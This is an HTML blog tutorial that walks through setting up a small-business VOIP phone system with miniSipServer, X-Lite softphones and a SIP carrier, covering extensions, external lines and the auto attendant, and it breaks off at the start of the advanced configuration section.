<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="http:/#Instruction" style="color: #0080ff; font-weight: bold; text-decoration: none;">1. Instruction</a></span></div>
</li>
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">
<li><div style="line-height: 15px;">
<a href="http:/#What_VOIP" style="color: #0080ff; font-weight: bold; text-decoration: none;">2. What's VOIP?</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#ip_pbx" style="color: #0080ff; font-weight: bold; text-decoration: none;">2.1 IP-PBX</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/index.html#phones" style="color: #0080ff; font-weight: bold; text-decoration: none;">2.2 Phones</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#voip_carriers" style="color: #0080ff; font-weight: bold; text-decoration: none;">2.3 VOIP carriers</a></div>
</li>
</ul>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#Scenario" style="color: #0080ff; font-weight: bold; text-decoration: none;">3. Scenario</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#Configuration" style="color: #0080ff; font-weight: bold; text-decoration: none;">4. Configuration</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#step1" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.1 Step1: setup miniSipServer</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#step2" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.2 Step2: connect local users to miniSipServer</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#step2_1" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.2.1 Add a new extension in miniSipServer</a></div>
</li>
</ul>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#step3" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.3 Step 3: connect miniSipServer to VOIP provider</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#Make_outgoing_call" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.3.1 Make outgoing call</a></div>
</li>
<li>  <div style="line-height: 15px;">
<a href="http:/#Receive_incoming_call" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.3.2 Receive incoming call</a></div>
</li>
</ul>
</li>
</ul>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#Advance_configuration" style="color: #0080ff; font-weight: bold; text-decoration: none;">5. Advance configuration</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#voice_mail" style="color: #0080ff; font-weight: bold; text-decoration: none;">5.1 Voice mail</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#Ringing_group" style="color: #0080ff; font-weight: bold; text-decoration: none;">5.2 Ringing group</a></div>
</li>
</ul>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#faq" style="color: #0080ff; font-weight: bold; text-decoration: none;">6. FAQ</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#faq_sip_port" style="color: #0080ff; font-weight: bold; text-decoration: none;">6.1 How to change SIP port?</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#faq_stun" style="color: #0080ff; font-weight: bold; text-decoration: none;">6.2 one-way audio or no-way audio problem?</a></div>
</li>
</ul>
</li>
</span></ul>
<div style="line-height: 15px;">
</div>
<div style="border-top: 1px dashed rgb(0, 0, 0);">
</div>
<div style="line-height: 15px;">
</div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Instruction" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>1. Instruction</span></h2>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">More and more peoples start small business now, such as home based business. It is very important to keep communication with our customers. In normal, most of us just use a simple telephone or use skype to do that. It can just fit our basic requirement, but it has obvious shortage, for example, it makes our business looks like a very small business, a personal business. We hope to make our business looks like a big business and our company looks like a professional company. We want to establish a voice interaction for our customers, such as prompt "welcome to xxx company. Please dial the extension or zero for assistance", etc. Can we do that?</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Of course, we can do that! There is a very simple solution to do that using VOIP. This document will give a step by step guide on how to establish a VOIP network for our business. The solution will be as simple as possible, almost just need only one PC with Windows system.</span></div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="What_VOIP" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>2. What's VOIP?</span></h2>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">VOIP is "Voice over Internet Protocol". It is a general term for a family of transmission technologies for delivery of voice communications over IP networks such as the Internet or other packet-switched networks. VOIP can be a benefit for reducing communication and infrastructure costs.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In another way, it is very easy to use VOIP to establish our communication system with rich features.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In normal, we need to setup three main components: IP-PBX, phones (or soft-phones) and VOIP carriers' service that let you call other peoples on the PSTN (Public Switched Telephone Network, it is our traditional telephone network).</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="ip_pbx" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>2.1 IP-PBX</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">There are lots of IP-PBX. Some of them are hardware based devices, some of them are software based server.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">I suggest miniSipServer. miniSipServer is a professional SIP PBX for Windows system. It has all features we need. Most important, it is so easy that we can setup and run it in 10 minutes!</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In another way, if you are familiar with Linux system, I suggest to try Asterisk. It is complex and powerful.</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="phones" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>2.2 Phones</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">We can buy SIP phones from Grandstream, Cisco, Linksys, etc. If we still want to use our traditional analog telephone, we can buy a SIP adapter from them.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">To get started, we use a softphone and run it in the same computer or another computers. I suggest to try Xlite softphone.</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="voip_carriers" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>2.3 VOIP carriers</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Lots of VOIP carriers can provide SIP services. I suggest following VOIP providers:</span></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="http://www.sipgate.co.uk/" style="color: #0080ff; font-weight: bold; text-decoration: none;">Sipgate.</a></span></div>
</li>
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">
<li><div style="line-height: 15px;">
<a href="http://www.voicetrading.com/" style="color: #0080ff; font-weight: bold; text-decoration: none;">VoiceTrading.</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http://www.broadvoice.com/" style="color: #0080ff; font-weight: bold; text-decoration: none;">BroadVoice.</a></div>
</li>
</span></ul>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Once register to these VOIP providers, they will give you a SIP account information, such as SIP server address, account name and password, etc. These information will be used when we configure our IP-PBX.</span></div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Scenario" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>3. Scenario</span></h2>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Following figure describes a simple environment for small business or home based business.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="network" name="network" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/3__1.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In our demo scenario, the small company only has two member, Holly and G.T.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Holly's extension number is 100, and G.T's extension phone number is 101. Both of them have PCs based on windows system. The IP address of Holly's PC is 192.168.1.100. The IP address of G.T's PC is 192.168.1.101. miniSipServer will be installed on another PC whose IP address is 192.168.1.110.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">The company establish connection with PSTN through a VOIP carrier's network.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">We will follow subsequent steps to establish our VOIP network.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><b>Step 1</b>: Setup miniSipServer. Following figure describe it.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="network (step1)" name="step1" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/3__2.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><b>Step 2</b>: Connect local users to miniSipServer.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="network (step2)" name="step2" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/3__3.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><b>Step 3</b>: Connect miniSipServer to VOIP providers' network.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="network" name="network" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/3__1.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><b>Step 4</b>: Configure some wonderful advance services for our small company, such as auto-attendant, ring group and pick-up.</span></div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Configuration" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4. Configuration</span></h2>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="step1" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.1 Step1: setup miniSipServer</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">This step could be the easiest one in our configuration. We can download the miniSipServer SETUP file from<a href="http://www.myvoipapp.com/download" style="color: #0080ff; font-weight: bold; text-decoration: none;">http://www.myvoipapp.com/download</a>. The latest version is 2.5.4 now.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">There are several kinds of miniSipServer, such as 20 client, 50 clients etc. For example, "100 clients" version can support 100 extensions. Since there are only two members in our scenario, "20 clients" version is enough.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Before we install miniSipServer, please make sure that the PC based on Windows and network are work well firstly.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">After that, please click the .EXE file to setup miniSipServer and run it! It is unnecessary to configure anything! So easy!</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">If everything is fine, the miniSipServer should run as following figure.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="MSS main window" name="MSS main window" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_1__1.jpg" /></span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="step2" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.2 Step2: connect local users to miniSipServer</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">When miniSipServer is installed, it will create three default extensions automatically. Please click button "local users" in main window to check it. The default password for these extensions are also 100, 101 and 102.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="local user window" name="local user window" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2__1.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">We begin to configure Holly's softphone to connect miniSipServer.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Holly use Xlite 4 as her softphone. The Xlite4 is a wonderful SIP client and can be download from<a href="http://www.counterpath.net/x-lite.html" style="color: #0080ff; font-weight: bold; text-decoration: none;">http://www.counterpath.net/x-lite.html</a>.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">After install Xlite, please click menu "Softphone -> Account settings".</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="xlite account configuration" name="xlite account" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2__2.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In the pop-up window, please add a SIP account like following figure.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="xlite account property" name="xlite account property" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2__3.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">The key configurations are described as:</span></div>
<table border="1" cellpadding="4" cellspacing="0" rules="NONE" style="width: 524px;"><tbody>
<tr valign="TOP"><td><div style="line-height: 15px;">
User ID</div>
</td> <td><div style="line-height: 15px;">
100</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Domain</div>
</td><td><div style="line-height: 15px;">
192.168.1.110</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Password</div>
</td><td><div style="line-height: 15px;">
100</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Authorization name</div>
</td><td><div style="line-height: 15px;">
100</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Register with domain and receive call</div>
</td><td><div style="line-height: 15px;">
Yes</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Send outbound via</div>
</td><td><div style="line-height: 15px;">
domain</div>
</td></tr>
</tbody></table>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Please click 'OK' button to complete the Xlite configuration. Xlite will try to register to miniSipServer. If it successes, it should display 'Available' information.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="xlite ready" name="xlite ready" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2__4.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Now, Holly's extension has connected to miniSipServer rightly. We can follow the same step to configure G.T' extension. If you have other kinds of SIP clients/phones, they should also be configured same information.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Both Holly and G.T' extensions have been connected to miniSipServer. We can show miniSipServer' local user information to check their status. Their icons should be blue.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="local users ready" name="local users ready" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2__5.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">After we finish this step, the basic VOIP network is established. Holly and G.T can call each other. Holly can dial '101' to call G.T, and G.T can also dial '100' to call Holly.</span></div>
<h4 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="step2_1" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.2.1 Add a new extension in miniSipServer</span></h4>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In above configuration, we use the default extensions '100' and '101'. In future, with the growth of company, more and more people will join with us, we need add more extensions to support them. So we can do as following:</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In the 'local users information' window, please click 'Add' button to add a new extension.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="add a new local user" name="4_2_1__1" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2_1__1.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="new local user configuration" name="4_2_1__2" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2_1__2.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In normal, we can just assign extension number and password to a new extension. The new employee can use this new account information to configure his/her Xlite or SIP phones.</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="step3" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.3 Step 3: connect miniSipServer to VOIP provider</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">It is so easy to establish internal VOIP network and Holly and G.T enjoy it. It is time to establish connection with customers now.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In normal, if we want to make call to outside or receive a call from outside, we need a VOIP gateway connect our miniSipServer and traditional telephone or we need VOIP provider to do it for us. We decide to connect our miniSipServer to VOIP providers' network and we select <a href="http://www.broadvoice.com/" style="color: #0080ff; font-weight: bold; text-decoration: none;">BroadVoice</a> as our VOIP provider.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">After we request a SIP account from BroadVoice, for example, the account is '723123456', we will use use this account to configure miniSipServer to connect BroadVoice.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In the miniSipServer main window, please click button 'External lines' to add an external line information.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="external lines" name="4_3__1" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_3__1.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In the pop up window, please click button 'Add' to add an external line with BroadVoice account information.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="external line configuraton" name="4_3__2" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_3__2.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">The key informations are described as below table. Of course, you can update it according to your own configuration.</span></div>
<table border="1" cellpadding="4" cellspacing="0" rules="NONE" style="width: 524px;"><tbody>
<tr valign="TOP"><td><div style="line-height: 15px;">
External line</div>
</td><td><div style="line-height: 15px;">
7321234567</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Password</div>
</td><td><div style="line-height: 15px;">
1234</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Peer server address</div>
</td><td><div style="line-height: 15px;">
<a href="http://sip.broadvoice.com/">sip.broadvoice.com</a></div>
</td></tr>
<tr valign="TOP">  <td><div style="line-height: 15px;">
Peer server port</div>
</td><td><div style="line-height: 15px;">
5060</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Share outgoing call with other local users</div>
</td><td><div style="line-height: 15px;">
Yes</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Auto attendant</div>
</td><td><div style="line-height: 15px;">
Yes</div>
</td></tr>
</tbody></table>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Because we hope both Holly and G.T can make outgoing call, we select 'share outgoing call with other local users'.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Here we configure 'auto attendant' to support receiving incoming call from outside.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">If the external line success to connect to peer server ( VOIP provider's network or VOIP gateway), the icon of the external line should be gray and without cross flag.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Then, we describe some details about making outgoing call and receiving incoming call.</span></div>
<h4 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Make_outgoing_call" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.3.1 Make outgoing call</span></h4>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">As we have confirmed in above sections, Holly and G.T can call each other by dialing their extensions number directly. If we want to make outgoing call to our customers, how can we do it?</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Since the external line is connected to VOIP provider's network ( or VOIP gateway), it is no problem to call outside customers, but we have to mention that we need add prefix '9' before we dial our customers numbers. In miniSipServer, prefix '9' is the default outgoing prefix which is used to distinguish call type. For example, if the customer's number is '7321234568', we need dial '<b>9</b>7321234568'.</span></div>
<h4 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Receive_incoming_call" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.3.2 Receive incoming call</span></h4>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">When we configured external line before, we has indicated 'auto attendant' at the same time. So when the customer calls in, miniSipServer will prompt him/her to enter extension number. For example, once the customer calls "7321234567" ( the external line number provided by VOIP provider and configured in miniSipServer ), he/she will hear "Welcome, please enter extension number" and the customer can enter '100' to call Holly or enter '101' to call G.T.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">The benefit of using "auto attendant" to receive incoming call is that the company can provide only one public telephone number to customers and assign different extensions to each employee.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In another way, the default announcement can be modified and replaced. We can change it according to our real requirement, for example, we can change it to "welcome to xxx company,...". Please refer to the "<a href="http://www.myvoipapp.com/docs/mss_services/auto_attendant/index.html" style="color: #0080ff; font-weight: bold; text-decoration: none;">Automatic attendant</a>" document which has been installed with miniSipServer.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Because miniSipServer uses "RFC2833" DTMF mode to collect the customer's input digits, we must confirm with our VOIP provider that they can support this DTMF mode.</span></div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Advance_configuration" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>5. Advance configuration</span></h2>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">When we finish above configurations, we success to establish our basic VOIP system. Is it enough? Of course, no! We want more useful services to support our communication, such as Voice mail, ring group, etc.</span></div>
<div style="line-height: 15px;">
